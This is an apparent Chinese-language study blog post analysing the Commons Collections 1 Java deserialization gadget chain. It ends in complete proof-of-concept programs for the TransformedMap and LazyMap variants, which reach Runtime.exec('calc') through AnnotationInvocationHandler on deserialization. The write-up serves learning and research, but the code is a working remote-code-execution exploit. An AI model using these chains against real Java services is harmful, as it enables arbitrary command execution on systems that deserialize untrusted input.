# 前言
前面其实已经写过一篇 CC1 利用链学习记录,至于为什么写这一篇,主要是因为前面的时间间隔稍微是有点久远😢,这里我偷袭一下死去的回忆,还有一点感触就是,前一段时间去 java 基础看了一部分后,分析这条链子感觉还是比较清晰的,上一篇的链接 ConmonsCollection-1 - java 安全 | Clown の Blog = (xcu.icu)
# CC1
cc 链实际上是 Commons Collections 依赖的利用链,Commons Collections 提供了一些集类和工具,它们可以更加方便的扩展集合的功能,方便开发者的使用,这次先贴我的流程图(还是用的之前的流程图,我感觉我画的还是比较合理的😂)
# 前置知识
# Transformer
Transformer 是一个接口,它只有一个待实现的方法
简单看一下,这个接口的实现类都有哪些
这里可以看到,Transformer 的实现类有很多,可以看上面的流程图,实际上最后使用的是 InvokerTransformer 这个实现类来执行代码
# InvokerTransformer
最后利用的是这个实现类,为什么这么说呢,这里看一下 InvokerTransformer 的 Transform 方法
/** | |
* Transforms the input to result by invoking a method on the input. | |
* | |
* @param input the input object to transform | |
* @return the transformed result, null if null input | |
*/ | |
public Object transform(Object input) { | |
if (input == null) { | |
return null; | |
} | |
try { | |
Class cls = input.getClass(); | |
Method method = cls.getMethod(iMethodName, iParamTypes); | |
return method.invoke(input, iArgs); | |
} catch (NoSuchMethodException ex) { | |
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); | |
} catch (IllegalAccessException ex) { | |
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); | |
} catch (InvocationTargetException ex) { | |
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); | |
} | |
} |
可以看到这个 Transform 方法接受一个对象,然后通过 getClass 反射调用,最后 invoke,这里就是一个动态调用任意方法执行。
看一下 iMethodName、iParamTypes、iArgs 的值,看一下 InvokerTransformer 的构造方法
/** | |
* Constructor that performs no validation. | |
* Use <code>getInstance</code> if you want that. | |
* | |
* @param methodName the method to call | |
* @param paramTypes the constructor parameter types, not cloned | |
* @param args the constructor arguments, not cloned | |
*/ | |
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { | |
super(); | |
iMethodName = methodName; | |
iParamTypes = paramTypes; | |
iArgs = args; | |
} |
很显然这三个参数都是可控的,这就给我们利用提供了前提条件,这里先尝试直接使用 InvokerTransformer 来弹一个计算器
public static void main(String[] args) throws Exception { | |
//// Runtime.getRuntime ().exec ("calc"); // 直接调用 | |
// Class c = Class.forName("java.lang.Runtime"); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke(Runtime.getRuntime(),"calc"); | |
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime()); | |
} |
# ChainedTransformer
ChainedTransformer 也是 Transformer 接口的实现类,这里也是直接看他的 transformer 方法
/** | |
* Transforms the input to result via each decorated transformer | |
* | |
* @param object the input object passed to the first transformer | |
* @return the transformed result | |
*/ | |
public Object transform(Object object) { | |
for (int i = 0; i < iTransformers.length; i++) { | |
object = iTransformers[i].transform(object); | |
} | |
return object; | |
} |
代码逻辑也很简单,就是通过一个 for 循环去链式调用 transform 方法,具体在 cc1 这条链中的作用在后面的 poc 中再说
# ConstantTransformer
ConstantTransformer 方法同样也是实现类
/** | |
* Transforms the input by ignoring it and returning the stored constant instead. | |
* | |
* @param input the input object which is ignored | |
* @return the stored constant | |
*/ | |
public Object transform(Object input) { | |
return iConstant; | |
} |
不过他的 transform 方法是返回传入的对象,主要是为了方便后续的操作
# TransformedMap
TransformedMap 对 map 进行一个修饰,在检查的时候会进行一个 “回调”
/** | |
* Factory method to create a transforming map. | |
* <p> | |
* If there are any elements already in the map being decorated, they | |
* are NOT transformed. | |
* Constrast this with {@link #decorateTransform}. | |
* | |
* @param map the map to decorate, must not be null | |
* @param keyTransformer the transformer to use for key conversion, null means no transformation | |
* @param valueTransformer the transformer to use for value conversion, null means no transformation | |
* @throws IllegalArgumentException if map is null | |
*/ | |
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { | |
return new TransformedMap(map, keyTransformer, valueTransformer); | |
} | |
······· | |
/** | |
* Override to transform the value when using <code>setValue</code>. | |
* | |
* @param value the value to transform | |
* @return the transformed value | |
* @since Commons Collections 3.1 | |
*/ | |
protected Object checkSetValue(Object value) { | |
return valueTransformer.transform(value); | |
} |
这点让其在利用的时候发挥的很大的作用
# 逻辑分析_TransformedMap
前面吧需要用到的类基本就说完了,下面来整理一下链子的逻辑流程
# 逆向分析
先根据上面总结的流程图来逆向推一下整个链子,先看 InvokerTransformer 类,也就是最后的位置
在它的 Transform 方法中有 invoke 可以任意方法执行,前面我们也成功的利用它弹出来了一个计算器,接下来的思路就是去找一个调用了 Transform 方法的地方
这里实际上有很多,最后是找到这个 TransformedMap 类中,有一个 checkSetValue
这里调用了一个 Transform 方法,看一下构造方法
可以看到,valueTransformer 是可控的,但是这个构造方法是一个 protected 修饰的,所以不是本类和其子类是无法调用了,所以也是找到了本类中的 decorate 方法
这里可以看到他是一个 public 的静态方法,且调用了他的构造方法,接下来接着找哪里调用了 checkSetValue 方法
这里只有一处调用,就是 MapEntry 类中的 setValue 方法中,这里很明显是一个重写的 setvalue 方法,接着找,从上面总结的地方也能看到,实际上是 AnnotationInvocationHandler 类中 object 方法中有一个遍历 map 且调用 setvaue 方法的地方
既然是在 object 里面,那么整个链子就很合理了,这里看一下哪些参数是可用的
看一下他的构造方法,type 和 membervalue 都是可控的,就很满足我们的需要,这里没有权限修饰符也就是说只有在当前包可以访问到,这里可以使用反射去获取它,那么目前的代码逻辑
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
//// Runtime.getRuntime().exec("calc"); | |
// Class c = Class.forName("java.lang.Runtime"); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke(Runtime.getRuntime(),"calc"); | |
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); | |
Map map = new HashMap(); | |
map.put("a","b"); | |
Map decorate = TransformedMap.decorate(map, null, invokerTransformer); | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 获取器构造方法 | |
declaredConstructor.setAccessible(true); | |
Object o = declaredConstructor.newInstance(Target.class, decorate); | |
// serialization(o); | |
// unserialization(); | |
} | |
} |
但是问题很多,慢慢说,先将目光放回介绍 InvokerTransformer 的时候写的弹计算器的一行简单的代码
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime()); |
这里可以看到,调用 InvokerTransformer 的 transform 传入的参数应该是 Runtime.getRuntime (),也就是实际应该要传入到 invoke 中的值
但是在 AnnotationInvocationHandler 的 readObject 方法中
这样一长串的值是我们不可控的,而且我们最后是需要序列化后利用的,但是 RunTime 是不能序列化的
# Runtime 不能序列化
这里没有继承序列化类,但是它的 class 是可以序列化的,这里先将其修改为可以序列化的形式
这里利用这个 getRuntime 方法来做
public static void main(String[] args) throws Exception { | |
Class c = Runtime.class; | |
Method getRuntime = c.getMethod("getRuntime", null); | |
Object invoke = getRuntime.invoke(null, null); | |
Method exec = c.getMethod("exec", String.class); | |
exec.invoke(invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
} |
普通的反射写法,现在把他改写成 InvokerTransformer 的写法
public static void main(String[] args) throws Exception { | |
Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
} |
这里看起开好像是很长,但是实际上是一层一层链式调用的,链式调用,是不是就想到了 ChainedTransformer 方法,是的,这里可以再用 ChainedTransformer 简写
这里可以看到,它的构造方法接受一个 Transformer 数组,这里再改写一下
public static void main(String[] args) throws Exception { | |
Transformer[] transformers = new Transformer[]{ | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer = (ChainedTransformer) new ChainedTransformer(transformers).transform(Runtime.class); | |
} |
这样的话不能反序列化的问题就解决了,那么目前的 poc 就是
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
map.put("a","b"); | |
Map decorate = TransformedMap.decorate(map, null, chainedTransformer); | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 获取器构造方法 | |
declaredConstructor.setAccessible(true); | |
Object o = declaredConstructor.newInstance(Target.class, decorate); | |
serialization(o); | |
unserialization(); | |
} | |
} |
# setvalue 中的值不可控
当然,现在只解决了一个 Runtime 不能反序列化的问题肯定是不够的,前面还有一个 setvalue 中的值不可控的问题,这里看一下 AnnotationInvocationHandler 的 readobject 方法
可以看到,在调用 setvalue 方法前还有两个 if 语句的判断,这里先调试看一下这两个前置条件能不能正常通过
这里可以看到,它根据 a 去查找 kay,没有找到所以 memberType 是空的,这里就直接进不去
这个 kay 实际上是前面获取的注解中的成员方法,所以这里想要满足条件,首先是注解中要有成员方法,其次就是 put 敬 map 的 key 的值等成员方法的值,随便找一个有成员方法的注解
这里将 map 中 kay 的值改为其中任意一个
再进行调试
这里没有用网上师傅常用的那些注解主要是为了说明这里是要满足条件即可,没有硬性要求
可以看到就已经进入到这第一个 if 语句
在第二个 if 语句中实际上是判断这两个东西能不能强转,这里毫无疑问肯定是可以的,两个 if 语句都是满足条件的,跟进 setvalue 查看
可以看到,这里很显然是调用到了 MapEntry 中的 seetValue 方法,继续跟进
这里就到了 checkSetValue 方法,继续跟进,中间的我也就不在废话了
可以看到最后是成功到了这个 InvokerTransformer 的 transform 方法,但是这里的 input 不是我们所需要的 Runtime.class,所以这里的代码就不可能按照我们预期的执行
这里解决的办法,实际上是使用了 ConstantTransformer 这个类的 transform 方法前面提到,他返回传入的对象,为了方便后续的操作
这里调试看一下
走到 checkSetValue 的时候这个 value 的值还是不对
这里就对应了 poc 中的 transform 数组
在调用数组中的第一个调用的时候,这里代码更加到 ConstantTransformer 的 transform 方法,因为是链式调用,所以这里也是已经改变了
那么完整的 poc 就是
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
map.put("enabled","b"); | |
Map decorate = TransformedMap.decorate(map, null, chainedTransformer); | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 获取器构造方法 | |
declaredConstructor.setAccessible(true); | |
Object o = declaredConstructor.newInstance(Addressing.class, decorate); | |
serialization(o); | |
unserialization(); | |
} | |
} |
这里其实 CC1 的链子已经总结完了,但是在 ysoserial 的源码使用的并不是 TransformMap 而是 LazyMap
# 逻辑分析_LazyMap
两条链的路虽然不是很一样,但是在我最开始的总结中的那张流程图中还是比较清晰的,TransformMap 和 LazyMap 有什么区别呢,这里我们分别看一下
其实在寻找 InvokerTransformer 的 Transform 方法的时候就已经可以看到,这里除了 TransformMap 这里有 transfer,LazyMap 这里也有 Transform
LazyMap 中在 get 找不到值的时候会调用 factory.transform (key); 方法,而 TransformMap 在插入值的时候调用,所以在这里就需要寻找哪里调用了 get 方法
数量是非常大的,这里就作者当然也是找到了的,还是在 AnnotationInvocationHandler 类中
在 incoke 方法中调用了一个 memberValues.get (member);,这个 memberValues 是可控的
这里可以看到,如果调用了 equals 就直接返回,如果调用的不是 equals 而是一个有参方法就会抛出异常,所以这里想要走到下面的 get 就要代理调用一个无参的方法,AnnotationInvocationHandler 是一个动态代理的处理器类,不管外边调用什么方法这里都会调用这个 invoke 方法
在 AnnotationInvocationHandler 的 readobject 中就有一个 entrySet 是无参方法,这里利用它就可以,这里改写一个原来的 poc
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,chainedTransformer); | |
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 获取器构造方法 | |
declaredConstructor.setAccessible(true); | |
Object o = declaredConstructor.newInstance(Addressing.class, decorate); | |
Object newProxyInstance = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) o); | |
Object o1 = declaredConstructor.newInstance(Addressing.class, newProxyInstance); | |
serialization(o1); | |
unserialization(); | |
} | |
} |